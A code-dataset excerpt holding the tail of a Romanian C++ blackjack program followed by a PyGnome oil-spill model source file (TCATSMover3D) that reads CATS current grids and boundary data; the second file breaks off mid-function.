if (stTotal == houseTotal && stTotal != ndTotal)
{
cout << "Este egalitate! Dealarul si " << name1 << " au acelasi scor!" << endl;
money2 = money2 - bet;
money1 = money1 + bet / 2;
}
else
if (ndTotal == houseTotal && ndTotal != stTotal)
{
cout << "Este egalitate! Dealarul si " << name2 << " au acelasi scor!" << endl;
money1 = money1 - bet;
money2 = money2 + bet / 2;
}
else
if (minim(a, b, c) == a)
{
cout << name1 << " a castigat!" << endl;
money1 = money1 + 2 * bet;
money2 = money2 - bet;
wins("istoricpvp.txt");
}
else
if (minim(a, b, c) == b)
{
cout << name2 << " a castigat!!" << endl;
money2 = money2 + 2 * bet;
money1 = money1 - bet;
loses("istoricpvp.txt");
}
else
if (minim(a, b, c) == c)
{
cout << "Dealerul a castigat!" << endl;
money1 = money1 - bet;
money2 = money2 - bet;
}
}
void historypvp(const char *input_file_name)
{
ifstream fin(input_file_name, ios::in);
int number = countf("istoricpvp.txt");
while (!fin.eof())
{
char c;
fin.get(c);
if (c == '1')
{
cout << number << ") Primul jucator a castigat!" << endl;
number--;
}
if (c == '0')
{
cout << number << ") Al doilea jucator a castigat!" << endl;
number--;
}
}
}
|
[
"guzicu.c@gmail.com"
] |
guzicu.c@gmail.com
|
283290a07caf9161ebe5c2bc502e705bc062e85a
|
6dc6a002bf26270488a326fd4b0f86140abcf648
|
/gnome1/gui_gnome/TCATSMover3D.cpp
|
1d5a5bc403436f61145e1bfc6f6746522a61aa4f
|
[
"LicenseRef-scancode-public-domain",
"Unlicense"
] |
permissive
|
NOAA-ORR-ERD/PyGnome
|
f678d5b290afbb0816a90fd0f1291a4823e99063
|
97bb561fb8c953c4ee766a3f9d84a41aef93fb28
|
refs/heads/main
| 2023-08-05T09:05:41.918909
| 2023-06-07T19:14:36
| 2023-06-07T19:14:36
| 12,492,401
| 45
| 38
|
NOASSERTION
| 2023-07-16T21:26:12
| 2013-08-30T18:00:57
|
C
|
UTF-8
|
C++
| false
| false
| 41,301
|
cpp
|
#include "TCATSMover3D.h"
#include "DagTreeIO.h"
#include "DagTreePD.h"
#include "CROSS.H"
#ifdef MAC
#ifdef MPW
#pragma SEGMENT TCATSMOVER3D
#endif
#endif
TCATSMover3D::TCATSMover3D (TMap *owner, char *name) : TCATSMover(owner, name)
{
fDuration=48*3600; //48 hrs as seconds
fTimeUncertaintyWasSet =0;
fGrid = 0;
fRefinedGrid = 0; // not using this anymore - the main grid is refined, there may be some old save files that need it though
SetTimeDep (nil);
bTimeFileActive = false;
fEddyDiffusion=0; // JLM 5/20/991e6; // cm^2/sec
fEddyV0 = 0.1; // JLM 5/20/99
bShowDepthContourLabels = false;
bShowDepthContours = false;
memset(&fOptimize,0,sizeof(fOptimize));
SetClassName (name);
}
void TCATSMover3D::Dispose ()
{
/*if (fGrid)
{
fGrid -> Dispose();
delete fGrid;
fGrid = nil;
}
DeleteTimeDep ();*/
if (fRefinedGrid)
{
fRefinedGrid -> Dispose();
delete fRefinedGrid;
fRefinedGrid = nil;
}
TCATSMover::Dispose ();
}
Boolean IsCATS3DFile (char *path)
{
Boolean bIsValid = false;
OSErr err = noErr;
long line;
char strLine [256];
char firstPartOfFile [256];
long lenToRead,fileLength;
err = MyGetFileSize(0,0,path,&fileLength);
if(err) return false;
lenToRead = _min(256,fileLength);
err = ReadSectionOfFile(0,0,path,0,lenToRead,firstPartOfFile,0);
firstPartOfFile[lenToRead-1] = 0; // make sure it is a cString
if (!err)
{ // must start with CATS3D
char * strToMatch = "CATS3D";
NthLineInTextNonOptimized (firstPartOfFile, line = 0, strLine, 256);
if (!strncmp (strLine,strToMatch,strlen(strToMatch)))
bIsValid = true;
}
return bIsValid;
}
Boolean TCATSMover3D::OkToAddToUniversalMap()
{
// only allow this if we have grid with valid bounds
WorldRect gridBounds;
if (!fGrid) {
printError("Error in TCATSMover3D::OkToAddToUniversalMap.");
return false;
}
gridBounds = fGrid -> GetBounds();
if(EqualWRects(gridBounds,emptyWorldRect)) {
printError("You cannot create a universal mover from a current file which does not specify the grid's bounds.");
return false;
}
return true;
}
/*OSErr TCATSMover3D::InitMover(TGridVel *grid, WorldPoint p)
{
fGrid = grid;
refP = p;
refZ = 0;
scaleType = SCALE_NONE;
scaleValue = 1.0;
scaleOtherFile[0] = 0;
bRefPointOpen = FALSE;
bUncertaintyPointOpen = FALSE;
bTimeFileOpen = FALSE;
bShowArrows = FALSE;
bShowGrid = FALSE;
arrowScale = 1;// debra wanted 10, CJ wanted 5, JLM likes 5 too (was 1)
// CJ wants it back to 1, 4/11/00
this->ComputeVelocityScale();
return 0;
}*/
//#define TCATSMover3DREADWRITEVERSION 2 //JLM // updated with refinedGrid 3/6/02
#define TCATSMover3DREADWRITEVERSION 3 //JLM // updated with refinedGrid 3/6/02
OSErr TCATSMover3D::Write (BFPB *bfpb)
{
long i, version = TCATSMover3DREADWRITEVERSION; //JLM
ClassID id = GetClassID ();
OSErr err = 0;
char c;
if (err = TCATSMover::Write (bfpb)) return err;
StartReadWriteSequence("TCATSMover3D::Write()");
if (err = WriteMacValue(bfpb, id)) return err;
if (err = WriteMacValue(bfpb, version)) return err;
c = fRefinedGrid ? TRUE : FALSE;
if (err = WriteMacValue(bfpb, c)) return err;
if (fRefinedGrid)
{
id = fRefinedGrid -> GetClassID (); //JLM
if (err = WriteMacValue(bfpb, id)) return err; //JLM
err = fRefinedGrid -> Write (bfpb);
}
if (err = WriteMacValue(bfpb, bShowDepthContourLabels)) return err;
if (err = WriteMacValue(bfpb, bShowDepthContours)) return err;
return err;
}
OSErr TCATSMover3D::Read(BFPB *bfpb)
{
long i, version;
ClassID id;
OSErr err = 0;
char c;
if (err = TCATSMover::Read(bfpb)) return err;
SetShowGrid(bShowGrid);
StartReadWriteSequence("TCATSMover3D::Read()");
if (err = ReadMacValue(bfpb,&id)) return err;
if (id != GetClassID ()) { TechError("TCATSMover3D::Read()", "id != TYPE_CATSMOVER3D", 0); return -1; }
if (err = ReadMacValue(bfpb,&version)) return err;
if (version > TCATSMover3DREADWRITEVERSION) { printSaveFileVersionError(); return -1; }
if (version > 1)
{
if (err = ReadMacValue(bfpb, &c)) return err;
if (c)
{
if (err = ReadMacValue(bfpb,&id)) return err;
switch(id)
{
//case TYPE_RECTGRIDVEL: fRefinedGrid = new TRectGridVel;break;
//case TYPE_TRIGRIDVEL: fRefinedGrid = new TTriGridVel;break;
case TYPE_TRIGRIDVEL3D: fRefinedGrid = new TTriGridVel3D;break;
default: printError("Unrecognized Grid type in TCATSMover3D::Read()."); return -1;
}
fRefinedGrid -> Read (bfpb);
}
}
if (version > 2)
{
if (err = ReadMacValue(bfpb, &bShowDepthContourLabels)) return err;
if (err = ReadMacValue(bfpb, &bShowDepthContours)) return err;
SetDepthContoursCheckMark(bShowDepthContours);
SetDepthLegendCheckMark(bShowDepthContourLabels);
}
return err;
}
///////////////////////////////////////////////////////////////////////////
OSErr TCATSMover3D::CheckAndPassOnMessage(TModelMessage *message)
{ // JLM
/*char ourName[kMaxNameLen];
// see if the message is of concern to us
this->GetClassName(ourName);
if(message->IsMessage(M_SETFIELD,ourName))
{
double val;
char str[256];
OSErr err = 0;
WorldPoint wp;
////////////////
err = message->GetParameterAsDouble("scaleValue",&val);
if(!err) this->scaleValue = val;
////////////////
err = message->GetParameterAsDouble("EddyDiffusion",&val);
if(!err) this->fEddyDiffusion = val;
////////////////
err = message->GetParameterAsDouble("EddyV0",&val);
if(!err) this->fEddyV0 = val;
////////////////
message->GetParameterString("scaleType",str,256);
if(str[0])
{
if(!strcmpnocase(str,"none")) this->scaleType = SCALE_NONE;
else if(!strcmpnocase(str,"constant")) this->scaleType = SCALE_CONSTANT;
else if(!strcmpnocase(str,"othergrid")) this->scaleType = SCALE_OTHERGRID;
}
/////////////
model->NewDirtNotification();// tell model about dirt
}
/////////////////////////////////////////////////
// pass on this message to our base class
/////////////////////////////////////////////////
*/
return TCATSMover::CheckAndPassOnMessage(message);
}
/////////////////////////////////////////////////
/*long TCATSMover3D::GetListLength()
{
long count = 1;
if (bOpen) {
count += 4; // minimum CATS mover lines
if (timeDep)count++;
if (bRefPointOpen) count += 3;
if(model->IsUncertain())count++;
if(bUncertaintyPointOpen && model->IsUncertain())count +=6;
// add 1 to # of time-values for active / inactive
// JLM if (bTimeFileOpen) count += timeDep ? timeDep -> GetNumValues () : 0;
if (bTimeFileOpen) count += timeDep ? (1 + timeDep -> GetListLength ()) : 0; //JLM, add 1 for the active flag
}
return count;
}
ListItem TCATSMover3D::GetNthListItem(long n, short indent, short *style, char *text)
{
char *p, latS[20], longS[20], timeS[32],valStr[32];
DateTimeRec time;
TimeValuePair pair;
ListItem item = { this, 0, indent, 0 };
if (n == 0) {
item.index = I_CATSNAME;
item.bullet = bOpen ? BULLET_OPENTRIANGLE : BULLET_CLOSEDTRIANGLE;
// sprintf(text, "CATS: \"%s\"", className);
sprintf(text, "Currents: \"%s\"", className);
if(!bActive)*style = italic; // JLM 6/14/10
return item;
}
item.indent++;
if (bOpen) {
if (--n == 0) {
item.index = I_CATSACTIVE;
item.bullet = bActive ? BULLET_FILLEDBOX : BULLET_EMPTYBOX;
strcpy(text, "Active");
return item;
}
if (--n == 0) {
item.index = I_CATSGRID;
item.bullet = bShowGrid ? BULLET_FILLEDBOX : BULLET_EMPTYBOX;
sprintf(text, "Show Grid");
return item;
}
if (--n == 0) {
item.index = I_CATSARROWS;
item.bullet = bShowArrows ? BULLET_FILLEDBOX : BULLET_EMPTYBOX;
StringWithoutTrailingZeros(valStr,arrowScale,6);
sprintf(text, "Show Velocities (@ 1 in = %s m/s)", valStr);
return item;
}
if (--n == 0) {
item.index = I_CATSREFERENCE;
item.bullet = bRefPointOpen ? BULLET_OPENTRIANGLE : BULLET_CLOSEDTRIANGLE;
strcpy(text, "Reference Point");
return item;
}
if (bRefPointOpen) {
if (--n == 0) {
item.index = I_CATSSCALING;
//item.bullet = BULLET_DASH;
item.indent++;
switch (scaleType) {
case SCALE_NONE:
strcpy(text, "No reference point scaling");
break;
case SCALE_CONSTANT:
StringWithoutTrailingZeros(valStr,scaleValue,6);
sprintf(text, "Scale to: %s ", valStr);
// units
if (timeDep)
strcat(text,"* file value");
else
strcat(text,"m/s");
break;
case SCALE_OTHERGRID:
sprintf(text, "Scale to grid: %s", scaleOtherFile);
break;
}
return item;
}
n--;
if (n < 2) {
item.indent++;
item.index = (n == 0) ? I_CATSLAT : I_CATSLONG;
//item.bullet = BULLET_DASH;
WorldPointToStrings(refP, latS, longS);
strcpy(text, (n == 0) ? latS : longS);
return item;
}
n--;
}
if(timeDep)
{
if (--n == 0)
{
char timeFileName [kMaxNameLen];
item.index = I_CATSTIMEFILE;
item.bullet = bTimeFileOpen ? BULLET_OPENTRIANGLE : BULLET_CLOSEDTRIANGLE;
timeDep -> GetTimeFileName (timeFileName);
if (timeDep -> GetFileType() == HYDROLOGYFILE)
sprintf(text, "Hydrology File: %s", timeFileName);
else
sprintf(text, "Tide File: %s", timeFileName);
if(!bTimeFileActive)*style = italic; // JLM 6/14/10
return item;
}
}
if (bTimeFileOpen && timeDep) {
if (--n == 0)
{
item.indent++;
item.index = I_CATSTIMEFILEACTIVE;
item.bullet = bTimeFileActive ? BULLET_FILLEDBOX : BULLET_EMPTYBOX;
strcpy(text, "Active");
return item;
}
///JLM ///{
// Note: n is one higher than JLM expected it to be
// (the CATS mover code is pre-decrementing when checking)
if(timeDep -> GetListLength () > 0)
{ // only check against the entries if we have some
n--; // pre-decrement
if (n < timeDep -> GetListLength ()) {
item.indent++;
item = timeDep -> GetNthListItem(n,item.indent,style,text);
// over-ride the objects answer ?? JLM
// no 10/23/00
//item.owner = this; // so the clicks come to me
//item.index = I_CATSTIMEENTRIES + n;
//////////////////////////////////////
//item.bullet = BULLET_DASH;
return item;
}
n -= timeDep -> GetListLength ()-1; // the -1 is to leave the count one higher so they can pre-decrement
}
////}
}
if(model->IsUncertain())
{
if (--n == 0) {
item.index = I_CATSUNCERTAINTY;
item.bullet = bUncertaintyPointOpen ? BULLET_OPENTRIANGLE : BULLET_CLOSEDTRIANGLE;
strcpy(text, "Uncertainty");
return item;
}
if (bUncertaintyPointOpen) {
if (--n == 0) {
item.index = I_CATSSTARTTIME;
//item.bullet = BULLET_DASH;
item.indent++;
sprintf(text, "Start Time: %.2f hours",fUncertainStartTime/3600);
return item;
}
if (--n == 0) {
item.index = I_CATSDURATION;
//item.bullet = BULLET_DASH;
item.indent++;
sprintf(text, "Duration: %.2f hours",fDuration/3600);
return item;
}
if (--n == 0) {
item.index = I_CATSDOWNCUR;
//item.bullet = BULLET_DASH;
item.indent++;
sprintf(text, "Down Current: %.2f to %.2f %%",fDownCurUncertainty*100,fUpCurUncertainty*100);
return item;
}
if (--n == 0) {
item.index = I_CATSCROSSCUR;
//item.bullet = BULLET_DASH;
item.indent++;
sprintf(text, "Cross Current: %.2f to %.2f %%",fLeftCurUncertainty*100,fRightCurUncertainty*100);
return item;
}
if (--n == 0) {
item.index = I_CATSDIFFUSIONCOEFFICIENT;
//item.bullet = BULLET_DASH;
item.indent++;
sprintf(text, "Eddy Diffusion: %.2e cm^2/sec",fEddyDiffusion);
return item;
}
if (--n == 0) {
item.index = I_CATSEDDYV0;
//item.bullet = BULLET_DASH;
item.indent++;
sprintf(text, "Eddy V0: %.2e m/sec",fEddyV0);
return item;
}
}
}
}
item.owner = 0;
return item;
}
Boolean TCATSMover3D::ListClick(ListItem item, Boolean inBullet, Boolean doubleClick)
{
Boolean timeFileChanged = false;
if (inBullet)
switch (item.index) {
case I_CATSNAME: bOpen = !bOpen; return TRUE;
case I_CATSGRID: bShowGrid = !bShowGrid;
model->NewDirtNotification(DIRTY_MAPDRAWINGRECT); return TRUE;
case I_CATSARROWS: bShowArrows = !bShowArrows;
model->NewDirtNotification(DIRTY_MAPDRAWINGRECT); return TRUE;
case I_CATSREFERENCE: bRefPointOpen = !bRefPointOpen; return TRUE;
case I_CATSUNCERTAINTY: bUncertaintyPointOpen = !bUncertaintyPointOpen; return TRUE;
case I_CATSTIMEFILE: bTimeFileOpen = !bTimeFileOpen; return TRUE;
case I_CATSTIMEFILEACTIVE: bTimeFileActive = !bTimeFileActive;
model->NewDirtNotification(); return TRUE;
case I_CATSACTIVE:
bActive = !bActive;
model->NewDirtNotification();
if (!bActive && bTimeFileActive)
{
// deactivate time file if main mover is deactivated
// bTimeFileActive = false;
// VLUpdate (&objects);
}
return TRUE;
}
if (doubleClick && !inBullet)
{
switch(item.index)
{
case I_CATSSTARTTIME:
case I_CATSDURATION:
case I_CATSDOWNCUR:
case I_CATSCROSSCUR:
case I_CATSDIFFUSIONCOEFFICIENT:
case I_CATSEDDYV0:
case I_CATSUNCERTAINTY:
{
Boolean userCanceledOrErr, uncertaintyValuesChanged=false ;
CurrentUncertainyInfo info = this -> GetCurrentUncertaintyInfo();
userCanceledOrErr = CurrentUncertaintyDialog(&info,mapWindow,&uncertaintyValuesChanged);
if(!userCanceledOrErr)
{
if (uncertaintyValuesChanged)
{
this->SetCurrentUncertaintyInfo(info);
// code goes here, if values have changed needToReInit in UpdateUncertainty
this->UpdateUncertaintyValues(model->GetModelTime()-model->GetStartTime());
}
}
return TRUE;
break;
}
default:
CATSSettingsDialog (this, this -> moverMap, &timeFileChanged);
return TRUE;
break;
}
}
// do other click operations...
return FALSE;
}
Boolean TCATSMover3D::FunctionEnabled(ListItem item, short buttonID)
{
long i;
switch (item.index) {
case I_CATSNAME:
switch (buttonID) {
case ADDBUTTON: return FALSE;
case DELETEBUTTON: return TRUE;
case UPBUTTON:
case DOWNBUTTON:
if (!moverMap->moverList->IsItemInList((Ptr)&item.owner, &i)) return FALSE;
switch (buttonID) {
case UPBUTTON: return i > 0;
case DOWNBUTTON: return i < (moverMap->moverList->GetItemCount() - 1);
}
}
break;
}
if (buttonID == SETTINGSBUTTON) return TRUE;
return TCATSMover::FunctionEnabled(item, buttonID);
}
OSErr TCATSMover3D::SettingsItem(ListItem item)
{
// JLM we want this to behave like a double click
Boolean inBullet = false;
Boolean doubleClick = true;
Boolean b = this -> ListClick(item,inBullet,doubleClick);
return 0;
}
OSErr TCATSMover3D::DeleteItem(ListItem item)
{
if (item.index == I_CATSNAME)
return moverMap -> DropMover(this);
return 0;
}
*/
Boolean TCATSMover3D::ListClick(ListItem item, Boolean inBullet, Boolean doubleClick)
{
TCATSMover::ListClick(item,inBullet,doubleClick);
SetShowGrid(bShowGrid);
return true;
}
void TCATSMover3D::Draw(Rect r, WorldRect view)
{ // draw refinedGrid if it exists - for grid, not arrows
if(fRefinedGrid)
{
if (bShowArrows)
fGrid->Draw(r,view,refPt3D.p,refScale,arrowScale,arrowDepth,bShowArrows,false,fColor);
else
fRefinedGrid->Draw(r,view,refPt3D.p,refScale,arrowScale,arrowDepth,false,bShowGrid,fColor);
}
else if(fGrid)
fGrid->Draw(r,view,refPt3D.p,refScale,arrowScale,arrowDepth,bShowArrows,bShowGrid,fColor);
if (bShowDepthContours) ((TTriGridVel3D*)fGrid)->DrawDepthContours(r,view,bShowDepthContourLabels);
}
/////////////////////////////////////////////////////////////////
OSErr TCATSMover3D::TextRead(vector<string> &linesInFile, TMap **newMap)
{
char s[1024], errmsg[256];
long i, numPoints, line = 0;
string currentLine;
//CHARH f = 0;
OSErr err = 0;
TopologyHdl topo=0;
LongPointHdl pts=0;
FLOATH depths=0;
VelocityFH velH = 0;
DAGTreeStruct tree;
WorldRect bounds;
TTriGridVel3D *triGrid = nil;
tree.treeHdl = 0;
TDagTree *dagTree = 0;
long numWaterBoundaries, numBoundaryPts, numBoundarySegs;
LONGH boundarySegs=0, waterBoundaries=0;
errmsg[0]=0;
/*if (!path || !path[0]) return 0;
if (err = ReadFileContents(TERMINATED,0, 0, path, 0, 0, &f)) {
TechError("TCATSMover3D::TextRead()", "ReadFileContents()", err);
goto done;
}
_HLock((Handle)f);
*/
MySpinCursor();
currentLine = linesInFile[line++];
currentLine = linesInFile[line++];
//NthLineInTextOptimized(*f, (line)++, s, 1024);
//NthLineInTextOptimized(*f, (line)++, s, 1024);
if(IsTVerticesHeaderLine(currentLine, numPoints))
//if(IsTVerticesHeaderLine(s, &numPoints))
{
MySpinCursor();
//err = ReadTVerticesBody(f,&line,&pts,&depths,errmsg,numPoints,true);
err = ReadTVerticesBody(linesInFile,&line,&pts,&depths,errmsg,numPoints,true);
if(err) goto done;
}
else
{
err = -1;
goto done;
}
MySpinCursor();
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
//if(IsBoundarySegmentHeaderLine(s,&numBoundarySegs)) // Boundary data from CATS
if(IsBoundarySegmentHeaderLine(currentLine,numBoundarySegs)) // Boundary data from CATS
{
MySpinCursor();
//err = ReadBoundarySegs(f,&line,&boundarySegs,numBoundarySegs,errmsg);
err = ReadBoundarySegs(linesInFile,&line,&boundarySegs,numBoundarySegs,errmsg);
if(err) goto done;
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
}
else
{
err = -1;
goto done;
}
MySpinCursor();
//if(IsWaterBoundaryHeaderLine(s,&numWaterBoundaries,&numBoundaryPts)) // Boundary types from CATS
if(IsWaterBoundaryHeaderLine(currentLine,numWaterBoundaries,numBoundaryPts)) // Boundary types from CATS
{
MySpinCursor();
//err = ReadWaterBoundaries(f,&line,&waterBoundaries,numWaterBoundaries,numBoundaryPts,errmsg);
err = ReadWaterBoundaries(linesInFile,&line,&waterBoundaries,numWaterBoundaries,numBoundaryPts,errmsg);
if(err) goto done;
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
}
else
{
err = -1;
goto done;
}
//if(IsTTopologyHeaderLine(s,&numPoints)) // Topology from CATS
if(IsTTopologyHeaderLine(currentLine,numPoints)) // Topology from CATS
{
MySpinCursor();
//err = ReadTTopologyBody(f,&line,&topo,&velH,errmsg,numPoints,TRUE);
err = ReadTTopologyBody(linesInFile,&line,&topo,&velH,errmsg,numPoints,TRUE);
if(err) goto done;
}
/*else
{
err = -1;
goto done;
}*/
else
{
//if (!haveBoundaryData) {err=-1; strcpy(errmsg,"File must have boundary data to create topology"); goto done;}
//DisplayMessage("NEXTMESSAGETEMP");
DisplayMessage("Making Triangles");
if (err = maketriangles(&topo,pts,numPoints,boundarySegs,numBoundarySegs)) // use maketriangles.cpp
err = -1; // for now we require TTopology
// code goes here, support Galt style ??
DisplayMessage(0);
velH = (VelocityFH)_NewHandleClear(sizeof(**velH)*numPoints);
if(!velH)
{
strcpy(errmsg,"Not enough memory.");
goto done;
}
for (i=0;i<numPoints;i++)
{
INDEXH(velH,i).u = 0.;
INDEXH(velH,i).v = 0.;
}
if(err) goto done;
}
MySpinCursor(); // JLM 8/4/99
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
//if(IsTIndexedDagTreeHeaderLine(s,&numPoints)) // DagTree from CATS
if(IsTIndexedDagTreeHeaderLine(currentLine,numPoints)) // DagTree from CATS
{
MySpinCursor();
//err = ReadTIndexedDagTreeBody(f,&line,&tree,errmsg,numPoints);
err = ReadTIndexedDagTreeBody(linesInFile,&line,&tree,errmsg,numPoints);
if(err) goto done;
}
/*else
{
err = -1;
goto done;
}*/
else
{
//DisplayMessage("NEXTMESSAGETEMP");
DisplayMessage("Making Dag Tree");
tree = MakeDagTree(topo, (LongPoint**)pts, errmsg); // use CATSDagTree.cpp and my_build_list.h
DisplayMessage(0);
if (errmsg[0])
err = -1; // for now we require TIndexedDagTree
// code goes here, support Galt style ??
if(err) goto done;
}
MySpinCursor(); // JLM 8/4/99
// figure out the bounds
bounds = voidWorldRect;
long numPts;
if(pts)
{
LongPoint thisLPoint;
numPts = _GetHandleSize((Handle)pts)/sizeof(LongPoint);
if(numPts > 0)
{
WorldPoint wp;
for(i=0;i<numPts;i++)
{
thisLPoint = INDEXH(pts,i);
wp.pLat = thisLPoint.v;
wp.pLong = thisLPoint.h;
AddWPointToWRect(wp.pLat, wp.pLong, &bounds);
}
}
}
/////////////////////////////////////////////////
// create the bathymetry map
//if (waterBoundaries /*&& (this -> moverMap == model -> uMap || fVar.gridType != TWO_D)*/)
if (waterBoundaries && (this -> moverMap == model -> uMap /*|| fVar.gridType != TWO_D*/))
{
char fileName[kMaxNameLen];
//PtCurMap *map = CreateAndInitPtCurMap(path,bounds); // the map bounds are the same as the grid bounds
GetClassName(fileName);
PtCurMap *map = CreateAndInitPtCurMap(fileName,bounds); // the map bounds are the same as the grid bounds
if (!map) goto done;
// maybe move up and have the map read in the boundary information
map->SetBoundarySegs(boundarySegs);
map->SetWaterBoundaries(waterBoundaries);
*newMap = map;
}
else
{
//err = -1;
//goto done;
if (boundarySegs){DisposeHandle((Handle)boundarySegs); boundarySegs=0;}
if (waterBoundaries){DisposeHandle((Handle)waterBoundaries); waterBoundaries=0;}
}
/////////////////////////////////////////////////
triGrid = new TTriGridVel3D;
if (!triGrid)
{
err = true;
TechError("Error in TCATSMover3D::TextRead()","new TTriGridVel3D" ,err);
goto done;
}
fGrid = (TGridVel*)triGrid;
triGrid -> SetBounds(bounds);
dagTree = new TDagTree(pts,topo,tree.treeHdl,velH,tree.numBranches);
if(!dagTree)
{
printError("Unable to read Triangle Velocity file.");
goto done;
}
triGrid -> SetDagTree(dagTree);
triGrid -> SetDepths(depths);
pts = 0; // because fGrid is now responsible for it
topo = 0; // because fGrid is now responsible for it
tree.treeHdl = 0; // because fGrid is now responsible for it
velH = 0; // because fGrid is now responsible for it
depths = 0; // because fGrid is now responsible for it
done:
/*if(f)
{
_HUnlock((Handle)f);
DisposeHandle((Handle)f);
f = 0;
}*/
if(err)
{
if(!errmsg[0])
strcpy(errmsg,"An error occurred in TCATSMover3D::TextRead");
printError(errmsg);
if(pts)DisposeHandle((Handle)pts);
if(topo)DisposeHandle((Handle)topo);
if(velH)DisposeHandle((Handle)velH);
if(tree.treeHdl)DisposeHandle((Handle)tree.treeHdl);
if(depths)DisposeHandle((Handle)depths);
if(fGrid)
{
fGrid ->Dispose();
delete fGrid;
fGrid = 0;
}
if (*newMap)
{
(*newMap)->Dispose();
delete *newMap;
*newMap=0;
}
if(boundarySegs)DisposeHandle((Handle)boundarySegs);
if(waterBoundaries)DisposeHandle((Handle)waterBoundaries);
}
return err;
}
OSErr TCATSMover3D::TextRead(const char *path, TMap **newMap)
{
vector<string> linesInFile;
char outPath[kMaxNameLen];
OSErr err = 0;
#ifdef TARGET_API_MAC_CARBON
if (IsClassicPath((char*)path))
{
err = ConvertTraditionalPathToUnixPath(path, outPath, kMaxNameLen) ;
if (!err) strcpy((char*)path,outPath);
else return err;
}
#endif
ReadLinesInFile(path, linesInFile);
return TextRead(linesInFile, newMap);
}
OSErr TCATSMover3D::ImportGrid(char *path)
{
char s[1024], errmsg[256];
long i, numPoints, line = 0;
CHARH f = 0;
OSErr err = 0;
TopologyHdl topo=0;
LongPointHdl pts=0;
FLOATH depths=0;
VelocityFH velH = 0;
DAGTreeStruct tree;
WorldRect bounds;
TTriGridVel3D *triGrid = nil;
tree.treeHdl = 0;
TDagTree *dagTree = 0;
long numWaterBoundaries, numBoundaryPts, numBoundarySegs;
LONGH boundarySegs=0, waterBoundaries=0;
errmsg[0]=0;
if (!path || !path[0]) return 0;
if (err = ReadFileContents(TERMINATED,0, 0, path, 0, 0, &f)) {
TechError("TCATSMover3D::ImportGrid()", "ReadFileContents()", err);
goto done;
}
_HLock((Handle)f);
MySpinCursor();
NthLineInTextOptimized(*f, (line)++, s, 1024);
NthLineInTextOptimized(*f, (line)++, s, 1024);
if(IsTVerticesHeaderLine(s, &numPoints))
{
MySpinCursor();
err = ReadTVerticesBody(f,&line,&pts,&depths,errmsg,numPoints,true);
if(err) goto done;
}
else
{
err = -1;
goto done;
}
MySpinCursor();
NthLineInTextOptimized(*f, (line)++, s, 1024);
if(IsBoundarySegmentHeaderLine(s,&numBoundarySegs)) // Boundary data from CATS
{
MySpinCursor();
err = ReadBoundarySegs(f,&line,&boundarySegs,numBoundarySegs,errmsg);
if(err) goto done;
NthLineInTextOptimized(*f, (line)++, s, 1024);
}
else
{
err = -1;
goto done;
}
MySpinCursor();
if(IsWaterBoundaryHeaderLine(s,&numWaterBoundaries,&numBoundaryPts)) // Boundary types from CATS
{
MySpinCursor();
err = ReadWaterBoundaries(f,&line,&waterBoundaries,numWaterBoundaries,numBoundaryPts,errmsg);
if(err) goto done;
NthLineInTextOptimized(*f, (line)++, s, 1024);
}
else
{
err = -1;
goto done;
}
if(IsTTopologyHeaderLine(s,&numPoints)) // Topology from CATS
{
MySpinCursor();
//err = ReadTTopologyBody(f,&line,&topo,&velH,errmsg,numPoints,TRUE); // may change to false here
err = ReadTTopologyBody(f,&line,&topo,&velH,errmsg,numPoints,FALSE); // may change to false here
if(err) goto done;
}
else
{
err = -1;
goto done;
}
MySpinCursor();
NthLineInTextOptimized(*f, (line)++, s, 1024);
if(IsTIndexedDagTreeHeaderLine(s,&numPoints)) // DagTree from CATS
{
MySpinCursor();
err = ReadTIndexedDagTreeBody(f,&line,&tree,errmsg,numPoints);
if(err) goto done;
}
else
{
err = -1;
goto done;
}
MySpinCursor();
// figure out the bounds
bounds = voidWorldRect;
long numPts;
if(pts)
{
LongPoint thisLPoint;
numPts = _GetHandleSize((Handle)pts)/sizeof(LongPoint);
if(numPts > 0)
{
WorldPoint wp;
for(i=0;i<numPts;i++)
{
thisLPoint = INDEXH(pts,i);
wp.pLat = thisLPoint.v;
wp.pLong = thisLPoint.h;
AddWPointToWRect(wp.pLat, wp.pLong, &bounds);
}
}
}
/////////////////////////////////////////////////
// use the original bathymetry map
// delete refined grid boundary information
if(boundarySegs)DisposeHandle((Handle)boundarySegs);
if(waterBoundaries)DisposeHandle((Handle)waterBoundaries);
/////////////////////////////////////////////////
triGrid = new TTriGridVel3D;
if (!triGrid)
{
err = true;
TechError("Error in TCATSMover3D::ImportGrid()","new TTriGridVel3D" ,err);
goto done;
}
if(fRefinedGrid)
{
fRefinedGrid ->Dispose();
delete fRefinedGrid;
fRefinedGrid = 0;
}
fRefinedGrid = triGrid;
triGrid -> SetBounds(bounds);
dagTree = new TDagTree(pts,topo,tree.treeHdl,velH,tree.numBranches);
if(!dagTree)
{
printError("Unable to read Triangle Velocity file.");
goto done;
}
triGrid -> SetDagTree(dagTree);
triGrid -> SetDepths(depths);
pts = 0; // because fRefinedGrid is now reponsible for it
topo = 0; // because fRefinedGrid is now reponsible for it
tree.treeHdl = 0; // because fRefinedGrid is now reponsible for it
velH = 0; // because fRefinedGrid is now reponsible for it
depths = 0; // because fRefinedGrid is now reponsible for it
done:
if(f)
{
_HUnlock((Handle)f);
DisposeHandle((Handle)f);
f = 0;
}
if(err)
{
if(!errmsg[0])
strcpy(errmsg,"An error occurred in TCATSMover3D::ImportGrid");
printError(errmsg);
if(pts)DisposeHandle((Handle)pts);
if(topo)DisposeHandle((Handle)topo);
if(velH)DisposeHandle((Handle)velH);
if(tree.treeHdl)DisposeHandle((Handle)tree.treeHdl);
if(depths)DisposeHandle((Handle)depths);
if(fRefinedGrid)
{
fRefinedGrid->Dispose();
delete fRefinedGrid;
fRefinedGrid = 0;
}
if(boundarySegs)DisposeHandle((Handle)boundarySegs);
if(waterBoundaries)DisposeHandle((Handle)waterBoundaries);
}
return err;
}
OSErr TCATSMover3D::CreateRefinedGrid (Boolean askForFile, char* givenPath, char* givenFileName)
{
char path[256], s[256], fileName[256];
Point where;
OSType typeList[] = { 'NULL', 'NULL', 'NULL', 'NULL' };
MySFReply reply;
TTriGridVel3D *grid = nil;
OSErr err = 0;
if(askForFile || !givenPath || !givenFileName)
{
#if TARGET_API_MAC_CARBON
mysfpgetfile(&where, "", -1, typeList,
